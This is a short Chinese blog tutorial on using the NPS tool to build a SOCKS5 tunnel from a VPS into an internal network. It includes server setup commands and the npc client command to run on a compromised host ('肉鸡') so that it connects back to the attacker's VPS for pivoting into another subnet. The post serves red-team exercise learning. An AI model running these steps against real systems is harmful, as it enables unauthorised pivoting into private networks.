zoukankan      html  css  js  c++  java
  • 内网穿透-使用NPS搭建socks5隧道

    攻防演练有看到大哥用这个做代理,今天学习一下

    一、安装

    https://github.com/ehang-io/nps/releases  (下载Linux版本的先试试)

     上传至服务器,新建一个nps的文件夹,然后解压:

    mkdir nps
    tar -xzvf linux_amd64_server.tar.gz -C ./nps

     然后输入命令启动,启动后即可访问如下登录管理页面,默认账号密码为:admin/123  (记得快速修改初始密码)

    ./nps start

    在/etc/nps/conf/文件内可以查看到默认的账号密码,修改之,然后再重启一下nps

    nps restart

    在压缩包下也是有个一样的配置文件的,千万别改错了!要改的一定是/etc/nps/

     

     然后登录就可以看到页面了:

    这样就安装好了。

    二、使用

    登录nps

    然后点击新增客户端,到下面的截图:(自行设置账号密码,这个将会作为你的隧道的密码进行使用)

    填写好就可以新增了!记住下面这个密钥

     这些都有了,那应该直接接下来怎么做了吧,同样的,在肉鸡运行nps的命令,然后就能做代理了,我们试试吧!

    (1)以下时Windows客户端的,下载对应的版本然后输入下述命令:

    npc.exe -server=你的vps:8024 -vkey=客户端的密钥

     

    (2)以下时Linux客户端的,下载对应的版本然后输入下述命令:

    ./npc -server=你的vps:8024 -vkey=客户端的密钥

    到这一步时,你已经成功了一半,因为在肉鸡上运行以上命令将会成功建立好隧道:

    肉鸡运行:

    npc.exe -server=192.168.43.234:8024 -vkey=客户端的密钥

    web页面会出现上线的提示:

    最后:在上线的主机的隧道处点击,并添加响应的隧道,就可以建立与其他网段的通信了:

     

    然后测试一下连接:

    最后就能成功访问第二层网络(192.168.127.x网段)了:

    以上,简单的使用nps建立隧道的任务就完成了!其余使用教程请参考:https://ehang-io.github.io/nps/#/use

  • 相关阅读:
    阻止默认时间
    键盘事件
    提示框跟随鼠标移动
    世纪经典案例之万年历
    事件冒泡
    事件对象
    java 面向对象(三十八):反射(二) Class类的理解与获取Class的实例
    java 面向对象(三十九):反射(三)了解ClassLoader
    java 面向对象(四十一):反射(五)反射应用二:获取运行时类的完整结构
    java 面向对象(四十):反射(四)反射应用一:创建运行时类的对象
  • 原文地址:https://www.cnblogs.com/cute-puli/p/15508251.html
Copyright © 2011-2022 走看看